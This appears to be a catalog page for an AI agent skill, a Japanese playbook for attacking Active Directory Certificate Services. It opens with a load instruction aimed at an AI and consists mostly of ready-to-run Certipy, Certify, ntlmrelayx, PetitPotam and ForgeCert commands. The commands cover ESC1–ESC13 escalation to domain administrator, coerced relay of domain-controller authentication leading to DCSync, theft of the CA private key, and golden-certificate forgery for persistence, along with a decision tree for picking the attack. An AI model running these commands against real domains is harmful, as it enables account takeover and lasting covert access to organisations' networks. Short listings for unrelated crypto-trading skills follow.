active-directory-certificate-services
AD Certificate Servicesに対する攻撃プレイブック。ESC1〜ESC13のテンプレート悪用、NTLMリレーによる証明書登録、CAオフィサー権限の濫用、証明書を利用した永続化など、設定ミスのあるAD CSを標的に権限昇格を行う際に使用します。
description の原文を見る
>- AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.
SKILL.md 本文
SKILL: AD CS 攻撃プレイブック — エキスパートガイド
AI LOAD INSTRUCTION: Expert AD CS (Active Directory Certificate Services) 攻撃テクニック。ESC1 から ESC13、証明書ベースの永続化、登録エンドポイントへの NTLM リレー、CA 設定ミスをカバーします。ベースモデルは登録前提条件チェーンと ESC 条件組み合わせを見落とします。
0. 関連ルーティング
深掘りする前に、以下の読み込みを検討してください:
active-directory-acl-abuse— ESC4 (テンプレート変更) を有効にする ACL ベース攻撃用active-directory-kerberos-attacks— 証明書取得後の Kerberos テクニック用ntlm-relay-coercion— ESC8 (HTTP 登録エンドポイントへのリレー) 用windows-lateral-movement— 取得した証明書によるラテラルムーブメント用
高度な参考資料
以下の場合に ADCS_ESC_MATRIX.md も読み込んでください:
- ESC1–ESC13 クイックリファレンステーブル (条件、影響、ツールコマンド付き)
- ESC バリアント別のワンライナー悪用コマンド
- テクニック別の検出インジケータ
1. AD CS アーキテクチャ概要
Certificate Authority (CA)
│
├── Enterprise CA (AD 統合、テンプレートに基づいて証明書を発行)
│ ├── Certificate Templates (登録可能者、EKU、サブジェクト設定を定義)
│ ├── 登録エンドポイント: HTTP (certsrv)、RPC、DCOM
│ └── AD に公開: CN=Public Key Services,CN=Services,CN=Configuration
│
├── テンプレートの主要設定:
│ ├── Subject Alternative Name (SAN): 証明書が表す対象者
│ ├── Extended Key Usage (EKU): 証明書で許可される用途
│ ├── 登録権限: 登録可能なユーザー
│ └── 発行要件: 管理者承認、認可署名
│
└── 証明書 → Kerberos 認証フロー:
ユーザーが証明書を提示 → PKINIT → KDC が検証 → TGT を発行
2. 列挙
# Certipy (推奨 — 包括的)
certipy find -u user@domain.com -p password -dc-ip DC_IP -stdout
certipy find -u user@domain.com -p password -dc-ip DC_IP -vulnerable -stdout
# Certify (Windows から)
Certify.exe find
Certify.exe find /vulnerable
Certify.exe cas # CA を列挙
# テンプレートの手動 LDAP クエリ
ldapsearch -H ldap://DC_IP -D "user@domain.com" -w password \
-b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com" \
"(objectClass=pKICertificateTemplate)" cn msPKI-Certificate-Name-Flag pKIExtendedKeyUsage
3. ESC1 — 登録者がサブジェクトを指定
条件: テンプレートが登録者に Subject Alternative Name (SAN) + クライアント認証 EKU + 低権限登録を許可している。
# Certipy
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
-template VulnTemplate -upn administrator@domain.com
# Certify (Windows)
Certify.exe request /ca:CA-NAME /template:VulnTemplate /altname:administrator
# 証明書で認証
certipy auth -pfx administrator.pfx -dc-ip DC_IP
# → administrator の NT ハッシュ
4. ESC2 — ANY PURPOSE EKU
条件: テンプレートが「Any Purpose」EKU を持つか、EKU が無い (従属 CA 証明書) + 低権限登録。
# ESC1 と同じ悪用方法
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
-template AnyPurposeTemplate -upn administrator@domain.com
5. ESC3 — 登録エージェント
条件: テンプレートが登録エージェント証明書を許可し、別のテンプレートが他ユーザーに代わって登録を許可している。
# ステップ 1: 登録エージェント証明書をリクエスト
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
-template EnrollmentAgent
# ステップ 2: 登録エージェント証明書を使用して管理者に代わってリクエスト
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
-template UserTemplate -on-behalf-of 'DOMAIN\administrator' -pfx enrollmentagent.pfx
# 認証
certipy auth -pfx administrator.pfx -dc-ip DC_IP
6. ESC4 — テンプレート ACL 設定ミス
条件: 低権限ユーザーが証明書テンプレートオブジェクトへの書き込みアクセス権を持つ。
# テンプレートを修正して ESC1 脆弱性を持つようにする
# Certipy を使用:
certipy template -u user@domain.com -p password -template VulnTemplate \
-save-old -dc-ip DC_IP
# テンプレートが ESC1 に → ESC1 として悪用
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
-template VulnTemplate -upn administrator@domain.com
# 元のテンプレートを復元 (クリーンアップ)
certipy template -u user@domain.com -p password -template VulnTemplate \
-configuration old_config.json -dc-ip DC_IP
7. ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2
条件: CA が EDITF_ATTRIBUTESUBJECTALTNAME2 フラグを有効にしている → すべてのテンプレートが ESC1 になる。
# フラグが設定されているかチェック
certutil -config "CA_HOST\CA-NAME" -getreg policy\EditFlags
# 悪用: 任意のテンプレートを SAN でリクエスト
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
-template User -upn administrator@domain.com
8. ESC7 — CA 責任者 / 管理者権限
条件: ユーザーが CA に対して ManageCA または ManageCertificates 権限を持つ。
# ManageCA: SubCA テンプレートを有効化 (常に SAN を許可)
certipy ca -u user@domain.com -p password -ca CA-NAME -dc-ip DC_IP \
-enable-template SubCA
# 管理者 SAN で SubCA 証明書をリクエスト (拒否される — 「保留中」)
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
-template SubCA -upn administrator@domain.com
# ManageCertificates: 保留中のリクエストを承認
certipy ca -u user@domain.com -p password -ca CA-NAME -dc-ip DC_IP \
-issue-request REQUEST_ID
# 発行された証明書を取得
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
-retrieve REQUEST_ID
9. ESC8 — HTTP 登録エンドポイントへの NTLM リレー
条件: CA が HTTPS 強制なしで HTTP 登録エンドポイント (certsrv) を持つ。
# 登録エンドポイントへのリレーをセットアップ
ntlmrelayx.py -t http://CA_HOST/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# DC 認証を強制 (PetitPotam、PrinterBug など)
PetitPotam.py RELAY_HOST DC01.domain.com
# DC が認証 → リレー → DC01$ の証明書が発行される
# 証明書で認証
certipy auth -pfx dc01.pfx -dc-ip DC_IP
# → DC01$ ハッシュ → DCSync
10. ESC9-ESC13 — 最新の発見
ESC9: セキュリティ拡張なし (StrongCertificateBindingEnforcement = 0/1)
CT_FLAG_NO_SECURITY_EXTENSION が設定されている場合、弱い証明書マッピングが なりすまし を許可する。
# 被害者の UPN を管理者に変更、証明書をリクエスト、戻す
certipy shadow auto -u attacker@domain.com -p pass -account victim -dc-ip DC_IP
ESC10: 弱い証明書マッピング (レジストリベース)
ESC9 と同様だが、DC 上の CertificateMappingMethods レジストリ値を悪用する。
ESC11: RPC 登録への NTLM リレー
CA の RPC インターフェースへの NTLM をリレー (IF_ENFORCEENCRYPTICERTREQUEST が設定されていない場合)。
ntlmrelayx.py -t "rpc://CA_HOST" -rpc-mode ICPR -icpr-ca-name "CA-NAME" \
-smb2support --adcs --template DomainController
ESC13: OID グループリンク (発行ポリシー)
テンプレートの発行ポリシー OID がグループにリンク → 証明書がそのグループメンバーシップを付与する。
certipy req -u user@domain.com -p pass -ca CA-NAME -target CA_HOST \
-template ESC13Template
# 証明書がリンク先グループのメンバーシップを付与
11. 証明書ベースの永続化
ゴールデン証明書
CA 秘密鍵を使用 → 任意の証明書を偽造。
# CA 秘密鍵を抽出 (CA サーバー上で管理者権限が必要)
certipy ca -backup -u admin@domain.com -p password -ca CA-NAME -target CA_HOST
# 任意のユーザーの証明書を偽造
certipy forge -ca-pfx ca.pfx -upn administrator@domain.com -subject "CN=Administrator,CN=Users,DC=domain,DC=com"
# 偽造証明書で認証
certipy auth -pfx forged.pfx -dc-ip DC_IP
永続化: CA 証明書の有効期限切れまで、または CA 秘密鍵ローテーションまで有効。
ForgeCert (Windows)
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword "pass" --Subject "CN=User" \
--SubjectAltName "administrator@domain.com" --NewCertPath forged.pfx --NewCertPassword "pass"
12. AD CS 攻撃判定ツリー
AD CS を対象とする
│
├── 列挙: certipy find -vulnerable
│
├── 脆弱なテンプレートが見つかった?
│ ├── 登録者が SAN + クライアント認証 EKU を設定可能?
│ │ └── ESC1 → 管理者 UPN で証明書をリクエスト (§3)
│ ├── Any Purpose EKU?
│ │ └── ESC2 → ESC1 と同じ (§4)
│ ├── 登録エージェントテンプレートが利用可能?
│ │ └── ESC3 → エージェントとして登録、その後代理人として登録 (§5)
│ └── 発行ポリシーに OID グループリンク?
│ └── ESC13 → グループメンバーシップ用の証明書をリクエスト (§10)
│
├── テンプレートへの書き込みアクセス?
│ └── ESC4 → テンプレートを修正して ESC1 条件にする (§6)
│
├── CA 設定ミス?
│ ├── EDITF_ATTRIBUTESUBJECTALTNAME2 フラグ?
│ │ └── ESC6 → 任意のテンプレートが ESC1 になる (§7)
│ ├── ManageCA / ManageCertificates 権限?
│ │ └── ESC7 → SubCA テンプレートを有効化、リクエストを承認 (§8)
│ └── HTTPS なしの HTTP 登録?
│ └── ESC8 → certsrv への NTLM リレー (§9)
│
├── DC 上の弱い証明書マッピング?
│ ├── StrongCertificateBindingEnforcement < 2?
│ │ └── ESC9 → UPN 操作 + 証明書リクエスト (§10)
│ └── CertificateMappingMethods 設定ミス?
│ └── ESC10 → 同様の UPN 悪用 (§10)
│
├── 暗号化なしの RPC 登録?
│ └── ESC11 → RPC への NTLM リレー (§10)
│
└── すでに CA 管理者?
└── 永続化のためのゴールデン証明書 (§11)
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
superfluid
Superfluidプロトコルおよびそのエコシステムに関するナレッジベースです。Superfluidについて情報を検索する際は、ウェブ検索の前にこちらを参照してください。対応キーワード:Superfluid、CFA、GDA、Super App、Super Token、stream、flow rate、real-time balance、pool(member/distributor)、IDA、sentinels、liquidation、TOGA、@sfpro/sdk、semantic money、yellowpaper、whitepaper
civ-finish-quotes
実質的なタスクが真に完了した際に、文明風の儀式的な引用句を追加します。ユーザーやエージェントが機能追加、リファクタリング、分析、設計ドキュメント、プロセス改善、レポート、執筆タスクといった実際の成果物を完成させるときに、明示的な依頼がなくても使用します。短い返信や小さな修正、未完成の作業には適用しません。
nookplot
Base(Ethereum L2)上のAIエージェント向け分散型調整ネットワークです。エージェントがオンチェーンアイデンティティを登録する、コンテンツを公開する、他のエージェントにメッセージを送る、マーケットプレイスで専門家を雇う、バウンティを投稿・請求する、レピュテーションを構築する、共有プロジェクトで協業する、リサーチチャレンジを解くことでNOOKをマイニングする、キュレーションされたナレッジを備えたスタンドアロンオンチェーンエージェントをデプロイする、またはアグリーメントとリワードで収益を得る場合に利用できます。エージェントネットワーク、エージェント調整、分散型エージェント、NOOKトークン、マイニングチャレンジ、ナレッジバンドル、エージェントレピュテーション、エージェントマーケットプレイス、ERC-2771メタトランザクション、Prepare-Sign-Relay、AgentFactory、またはNookplotが言及された場合にトリガーされます。
web3-polymarket
Polygon上でのPolymarket予測市場取引統合です。認証機能(L1 EIP-712、L2 HMAC-SHA256、ビルダーヘッダー)、注文発注(GTC/GTD/FOK/FAK、バッチ、ポストオンリー、ハートビート)、市場データ(Gamma API、Data API、オーダーブック、サブグラフ)、WebSocketストリーミング(市場・ユーザー・スポーツチャネル)、CTF操作(分割、統合、償却、ネガティブリスク)、ブリッジ機能(入金、出金、マルチチェーン)、およびガスレスリレイトランザクションに対応しています。AIエージェント、自動マーケットメーカー、予測市場UI、またはPolygraph上のPolymarketと統合するアプリケーション構築時に活用できます。
ethskills
Ethereum、EVM、またはブロックチェーン関連のリクエストに対応します。スマートコントラクト、dApps、ウォレット、DeFiプロトコルの構築、監査、デプロイ、インタラクションに適用されます。Solidityの開発、コントラクトアドレス、トークン規格(ERC-20、ERC-721、ERC-4626など)、Layer 2ネットワーク(Base、Arbitrum、Optimism、zkSync、Polygon)、Uniswap、Aave、Curveなどのプロトコルとの統合をカバーします。ガスコスト、コントラクトのデシマル設定、オラクルセキュリティ、リエントランシー、MEV、ブリッジング、ウォレット管理、オンチェーンデータの取得、本番環境へのデプロイ、プロトコル進化(EIPライフサイクル、フォーク追跡、今後の変更予定)といったトピックを含みます。
xxyy-trade
このスキルは、ユーザーが「トークン購入」「トークン売却」「トークンスワップ」「暗号資産取引」「取引ステータス確認」「トランザクション照会」「トークンスキャン」「フィード」「チェーン監視」「トークン照会」「トークン詳細」「トークン安全性確認」「ウォレット一覧表示」「マイウォレット」「AIスキャン」「自動スキャン」「ツイートスキャン」「オンボーディング」「IP確認」「IPホワイトリスト」「トークン発行」「自動売却」「損切り」「利益確定」「トレーリングストップ」「保有者」「トップホルダー」「KOLホルダー」などをリクエストした場合、またはSolana/ETH/BSC/BaseチェーンでXXYYを経由した取引について言及した場合に使用します。XXYY Open APIを通じてオンチェーン取引とデータ照会を実現します。